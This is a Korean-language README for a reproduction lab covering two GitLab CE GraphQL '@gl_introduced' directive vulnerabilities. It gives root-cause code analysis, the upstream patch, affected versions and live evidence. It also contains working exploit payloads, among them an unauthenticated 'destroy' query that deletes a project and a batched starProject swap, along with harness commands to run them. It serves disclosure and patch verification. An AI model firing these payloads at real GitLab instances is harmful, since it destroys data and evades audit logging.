
두 가지 GitLab GraphQL `@gl_introduced` 디렉티브 취약점(인증되지 않은 메서드 실행 및 배치 문서 스왑)에 대한 PoC 익스플로잇과 근본 원인 분석을 제공하며, 업스트림 패치와 실시간 증거를 포함합니다.
@gl_introduced 버전-필터 취약점GitLab GraphQL 버전-필터 기능(@gl_introduced 디렉티브)의 두 관련 버그를 재현하는 랩입니다. 두 버그 모두 동일한 기능 영역에 있으며, 동일한 업스트림 패치로 수정되며, 둘 다 GraphQL 요청이 선언하지 않은 코드 경로에 도달하게 합니다:
@gl_introduced 태그를 붙이는 것만으로 모든 GraphQL 타입 뒤의 모델에서 임의의 인자-없는 메서드(예: destroy)를 호출할 수 있습니다.docker-compose.yml Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
live_test_fallback.sh PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
live_test.sh PoC #2 -- live HTTP exploit, cross-operation document swap
run_poc.rb PoC #3 -- standalone, isolates the swap in plain graphql-ruby
loader.rb Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
Dockerfile Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
common/ Unchanged upstream files (shared by both variants) + demo schema
vuln/ Real 19.2.2 source of the files the patch touched
patched/ Real 19.2.4 source of the same files
evidence/
live_vuln_fallback_field.txt Captured output of PoC #1 against the live target
live_vuln.txt Captured output of PoC #2 against the live target
standalone_vuln.txt Captured output of PoC #3 (vuln)
standalone_patched.txt Captured output of PoC #3 (patched)
src/ 아래의 모든 것은 업스트림 소스를 그대로 복사한 것이며, 재구현된 것이 아닙니다 — 로더는 src/common 위에 src/vuln 또는 src/patched를 겹쳐서 사용합니다.
Gitlab::Graphql::VersionFilter::FutureFieldFallback는 쿼리가 아직 타입에 존재하지 않는 필드를 참조해도 요청이 실패하지 않게 합니다 — 롤링 배포를 위한 것으로, 이전 노드의 스키마에는 아직 없지만 새 노드에는 이미 있는 필드를 지원합니다. get_field 오버라이드는 요청된 필드가 누락되었는지 그리고 요청에 contain_future_fields 플래그가 설정되었는지 확인하고, 그렇다면 예외를 발생시키는 대신 합성 필드를 반환합니다:
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
field = super
return field unless future_field?(name: field_name, field: field, context: context)
fallback_field(name: field_name)
end
def fallback_field(name:)
GraphQL::Schema::Field.new(
owner: self,
name: name,
type: GraphQL::Types::Boolean,
fallback_value: nil
)
end
문제는 이 GraphQL::Schema::Field가 리졸버 메서드, 리졸버 클래스, 블록 없이 생성된다는 점입니다. 이후 graphql-ruby 자체의 기본 필드 해석이 적용됩니다(graphql gem 2.6.3, lib/graphql/schema/field.rb):
inner_object.public_send(@method_sym)
@method_sym은 필드 이름을 스네이크 케이스로 변환한 것입니다 — 즉 공격자가 쿼리에 넣은 문자열과 정확히 일치합니다. GraphQL 타입 뒤의 객체(ActiveRecord 모델)에 해당 이름의 실제 인자-없는 public 메서드가 있다면, graphql-ruby가 이를 호출하고 (타입 변환된) 결과를 반환합니다. fallback_value: nil은 메서드가 실제로 존재하지 않을 때만 적용됩니다 — 실제 메서드가 실행되는 것을 막는 역할은 하지 못합니다.
즉, 실제 파괴적 메서드의 이름을 딴 필드(예: destroy)로 아무 타입이나 쿼리하고 @gl_introduced 태그를 붙여 실행 단계까지 살아남게 하면, 해당 메서드가 실행됩니다.
IntroducedTracer는 버전-필터 기능의 나머지를 두 개의 graphql-ruby 트레이스 훅 — parse(작업당 한 번)와 execute_query(작업당 한 번) — 에 걸쳐 구현합니다. 취약한 빌드에서는 트레이스 객체의 일반 인스턴스 변수에 작업별 상태를 저장합니다:
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
@original_query_document = super # <-- shared ivar
@contain_future_fields = false
filter = FutureFieldFilter.new(@original_query_document.dup)
filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end
def execute_query(query:)
return super unless @contain_future_fields
query.instance_variable_set(:@document, @original_query_document) # <-- swap
query.send(:prepare_ast)
query.context[:contain_future_fields] = @contain_future_fields
super
end
문제는 graphql-ruby가 멀티플렉스 요청의 모든 작업에서 하나의 트레이스 인스턴스를 공유하고, 어느 작업도 실행하기 전에 모든 작업을 파싱한다는 것입니다. 따라서 두 작업으로 구성된 배치에서는:
parse(op1) → @original_query_document = op1_doc, @contain_future_fields = falseparse(op2) → @original_query_document = op2_doc, @contain_future_fields = true
(op2에는 @gl_introduced 미래 필드가 포함됨)파싱이 끝나면 마지막 작업의 상태만 남습니다. 그런 다음 실행이 진행됩니다:
execute_query(op1) → 플래그가 true이므로 op1의 문서가 op2_doc으로 덮어써지고 다시 준비됩니다 → op1의 슬롯이 op2의 작업을 실행합니다.op1은 읽기를 선언했지만 op2의 쓰기를 실행합니다.
patch-19.2.2-to-19.2.4.diff는 두 가지를 모두 차단합니다:
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all
# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document] # no cross-operation bleed
query {
project(fullPath: "root/some-public-project") {
id
destroy @gl_introduced(version: "99.0.0")
}
}
Authorization 헤더가 없습니다. 단일 작업, 배치 없음. destroy는 Project의 실제 필드가 아닙니다 — 스키마에 전혀 존재하지 않습니다 — 하지만 디렉티브가 FutureFieldFilter로 하여금 정적 검증 전에 이를 제거하고 실행을 위해 contain_future_fields를 활성화하게 하며, get_field가 destroy라는 이름의 리졸버 없는 필드를 돌려주고 graphql-ruby가 project.public_send(:destroy)를 호출합니다.
라이브 환경에서 검증됨(evidence/live_vuln_fallback_field.txt, 별도의 임시 프로젝트 3개를 대상으로 3회 재현): 공개 프로젝트에 전송했을 때 응답은 {"data":{"project":{"id":"...","destroy":true}}}였습니다. 후속 인증 REST 확인(GET /api/v4/projects/:id)은 404를 반환했습니다 — 프로젝트가 실제로 삭제된 것입니다. 해당 호출의 요청 로그에는 동기식 데이터베이스 쓰기 9건과 새로운 AuditEvent 행 0건이 표시됩니다: 이 호출은 Projects::DestroyService를 완전히 우회하며(감사 추적, 웹훅, 알림도 함께 우회) — GraphQL의 기본 필드 해석을 통해 직접 호출된 원시 ActiveRecord#destroy 캐스케이드입니다.
sequenceDiagram
participant A as Attacker
participant C as GraphqlController
participant T as IntroducedTracer (one shared instance)
participant S as StarProject mutation
A->>C: POST /api/graphql [ {query: op1}, {query: op2} ]
Note over A: op1 = query { currentUser { username } } (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
C->>T: parse(op1)
Note over T: @original = op1_doc, future=false
C->>T: parse(op2)
Note over T: @original = op2_doc, future=TRUE (overwrites op1 state)
C->>T: execute_query(op1)
T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
T->>S: run starProject ← smuggled into the read slot
S-->>A: slot 1 returns { starProject: { count } } #59; star state changed
Op2 페이로드 — @gl_introduced 디렉티브는 실제 필드에만 위치하면 되며, 파싱 시점에 FutureFieldFilter가 contain_future_fields를 활성화하여 교체를 준비합니다:
mutation {
starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
count @gl_introduced(version: "99.0.0")
}
}
라이브 환경에서 검증됨(evidence/live_vuln.txt): query { currentUser { username } }를 선언한 슬롯 1이 {"data":{"starProject":{"count":"0"}}}을 반환하고 프로젝트의 별 개수가 1 → 0으로 변경됩니다.
docker compose up -d # first boot runs migrations; wait for healthy (~10 min)
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
bash harness/live_test_fallback.sh
이 스크립트는 인증 REST API를 통해 임시 공개 프로젝트를 생성하고(설정만), @gl_introduced 태그가 붙은 destroy 필드를 지정하는 인증되지 않은 GraphQL 쿼리를 한 번 전송한 다음, 인증 REST로 프로젝트를 다시 확인합니다. 프로젝트가 사라지면 VULNERABLE로 판정합니다.
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
bash harness/live_test.sh
이 스크립트는 기준 별 상태를 읽고 두 작업 배치를 전송한 다음, 읽기를 선언한 슬롯 1이 starProject 페이로드를 반환하거나(및/또는 별 개수가 변경되면) VULNERABLE로 판정합니다.
작은 graphql-ruby 앱에서 Gitlab::Graphql::VersionFilter를 분리하여 GitLab 노이즈 없이 교체를 확인할 수 있게 합니다. 실제 업스트림 소스를 로드합니다.
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched # -> SAFE
두 벡터 모두 gitlab/gitlab-ce:19.2.2-ce.0에 대해 라이브 환경에서 확인되었습니다. GitLab 스택의 서로 다른 계층을 공격하므로 인증 노출 범위가 다릅니다.
토큰 없음, 배치 없음, 단일 쿼리. 응답은 메서드의 결과를 직접 반환하며("destroy": true), 실제 레코드가 삭제됩니다 — 인증 REST(404)와 서버 측 증거(새 AuditEvent 행 0건, 단일 요청에 동기식 쓰기 9건)로 확인되었으며, GitLab의 정상 삭제 서비스를 완전히 우회함을 의미합니다. 별도의 임시 프로젝트 3개를 대상으로 3회 독립적으로 재현되었습니다. 백업 객체가 실제 인자-없는 파괴적 메서드를 노출하는 모든 GraphQL 타입이 후보입니다.
api 스코프가 있는 모든 토큰으로, 읽기를 선언한 작업이 요청하지 않은 쓰기를 실행합니다(별 개수 1 → 0, query 타입 슬롯에 의해 실행됨). 토큰 없이 보내도 교체는 여전히 발생합니다 — 읽기 슬롯이 starProject에 도달하여 해석합니다 — 하지만 모든 GitLab 뮤테이션은 Mutations::BaseMutation을 상속하며, 그 self.authorized? 게이트가 실행 시점에 동작합니다:
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)
익명 요청의 경우 current_user는 nil이고, GlobalPolicy는 rule { anonymous }.policy { prevent :execute_graphql_mutation }을 적용합니다. 인증 없이 10가지 배치 구성을 시도했습니다(순서, 필드/하위 필드/인라인 프래그먼트의 디렉티브 위치, 2-작업 및 3-작업 배치): 하이재킹된 슬롯은 매번 게이트에 막혔고 별 개수는 결코 변하지 않았습니다.
이 게이트는 뮤테이션에만 적용됩니다 — 1a와는 무관하며, 1a는 Mutations::BaseMutation을 전혀 건드리지 않습니다; 대체 필드는 일반 쿼리-타입 필드로 모델에 직접 해석되며, 경로에 인증 검사가 전혀 없습니다.
src/common/demo_app.rb에는 인증 계층이 전혀 없습니다 — 그 뮤테이션은 그냥 쓰기만 수행합니다. 따라서 PoC #3는 인증 없는 샌드박스에서 교체 메커니즘(쓰기를 수행하는 읽기 슬롯)을 보여줍니다. 실제 GitLab은 데모가 생략한 execute_graphql_mutation 게이트를 적용합니다 — 특히 1b의 경우입니다. 이 표준 빌드에서 자격 증명 없는 뮤테이션 기반 쓰기는 1b만으로는 도달할 수 없습니다; 1a로는 도달할 수 있으며, 1a는 뮤테이션이 전혀 필요 없습니다.
18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 이상으로 업그레이드하세요. 수정 사항(diff 참조)은 두 가지를 수행합니다: future_field_fallback.rb는 graphql-ruby의 기본 메서드 디스패치에 의존하는 대신 대체 필드에 명시적 리졸버(Resolvers::NilResolver, 항상 nil을 반환)를 제공하여 1a를 차단합니다; introduced_tracer.rb는 공유 인스턴스 변수 대신 트레이서의 작업별 상태를 각 작업의 문서로 한정하여 1b를 차단합니다.
| 18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4 |
| 수정 버전 | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| 랩 대상 | gitlab/gitlab-ce:19.2.2-ce.0 (수정 전 마지막 빌드) |
| 트리거 | GraphQL @gl_introduced 디렉티브, 단독 또는 배치 내에서 사용 |